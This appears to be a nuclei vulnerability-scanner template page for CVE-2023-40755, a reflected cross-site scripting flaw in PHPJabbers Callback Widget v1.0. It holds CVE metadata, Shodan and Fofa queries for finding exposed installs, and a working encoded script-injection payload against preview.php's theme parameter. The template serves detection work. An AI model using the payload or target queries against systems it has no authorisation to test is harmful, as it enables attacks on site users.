CVE-2023-40755: PHPJabbers Callback Widget v1.0 - Cross-Site Scripting
- Template: CVE-2023-40755
- Name: PHPJabbers Callback Widget v1.0 - Cross-Site Scripting
- Description: There is a Cross Site Scripting (XSS) vulnerability in the "theme" parameter of preview.php in PHPJabbers Callback Widget v1.0.
- Impact: Unauthenticated attackers can inject malicious JavaScript through the theme parameter in preview.php, potentially stealing callback widget administrator credentials and manipulating callback requests.
- Remediation: Update PHPJabbers Callback Widget to a version newer than 1.0 that properly sanitizes the theme parameter and encodes output in preview.php.
- Severity: medium
- Authors: ritikchaddha
- Tags: cve, cve2023, phpjabbers, callback-widget, xss, vuln
- References: https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f, https://nvd.nist.gov/vuln/detail/CVE-2023-40755
- Cves: CVE-2023-40755
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-40755.yaml
- Digest: 490a00463044022059a883e022d60d8aff4db2a2da1ea092391627c72a958bbe88d24e19802d8a5c0220467ff1423f5ce27b555952bda85503e3aa8c235a20b7a8dcc7dca98b5b3abc65
- Created at: 2024-10-22T08:50:21Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 763
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-40755.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.01254
- Epss percentile: 0.70224
- Cpe: cpe:2.3:a:phpjabbers:callback_widget:1.0:*:*:*:*:*:*:*
Metadata
- Fofa-query: body="PHPJabbers"
- Max-request: 1
- Product: callback_widget
- Shodan-query: html:"PHPJabbers"
- Vendor: phpjabbers
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| phpjabbers:callback_widget | yes | /v1/products/phpjabbers/callback_widget |
Labels
- Name: PHPJabbers Callback Widget - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
- Remediation: Implement proper input sanitization and validation for the 'theme' parameter, and update to the latest version if available.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Victim must click on a malicious link
- Labels source: projectdiscovery
- From cve: CVE-2023-40755
```yaml
id: CVE-2023-40755
info:
name: PHPJabbers Callback Widget v1.0 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
There is a Cross Site Scripting (XSS) vulnerability in the "theme" parameter of preview.php in PHPJabbers Callback Widget v1.0.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the theme parameter in preview.php, potentially stealing callback widget administrator credentials and manipulating callback requests.
remediation: |
Update PHPJabbers Callback Widget to a version newer than 1.0 that properly sanitizes the theme parameter and encodes output in preview.php.
reference:
- https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
- https://nvd.nist.gov/vuln/detail/CVE-2023-40755
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-40755
cwe-id: CWE-79
epss-score: 0.01254
epss-percentile: 0.70224
cpe: cpe:2.3:a:phpjabbers:callback_widget:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: html:"PHPJabbers"
fofa-query: body="PHPJabbers"
vendor: phpjabbers
product: callback_widget
tags: cve,cve2023,phpjabbers,callback-widget,xss,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
host-redirects: true
max-redirects: 2
matchers:
- type: word
part: body
words:
- 'PHPJabbers'
case-insensitive: true
internal: true
- method: GET
path:
- "{{BaseURL}}/preview.php?theme=theme10dnel8%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Eko0so"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'theme=theme10dnel8"><script>alert(document.domain)</script>ko0'
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
digest: 490a00463044022059a883e022d60d8aff4db2a2da1ea092391627c72a958bbe88d24e19802d8a5c0220467ff1423f5ce27b555952bda85503e3aa8c235a20b7a8dcc7dca98b5b3abc65:922c64590222798bb761d5b6d8e72950
```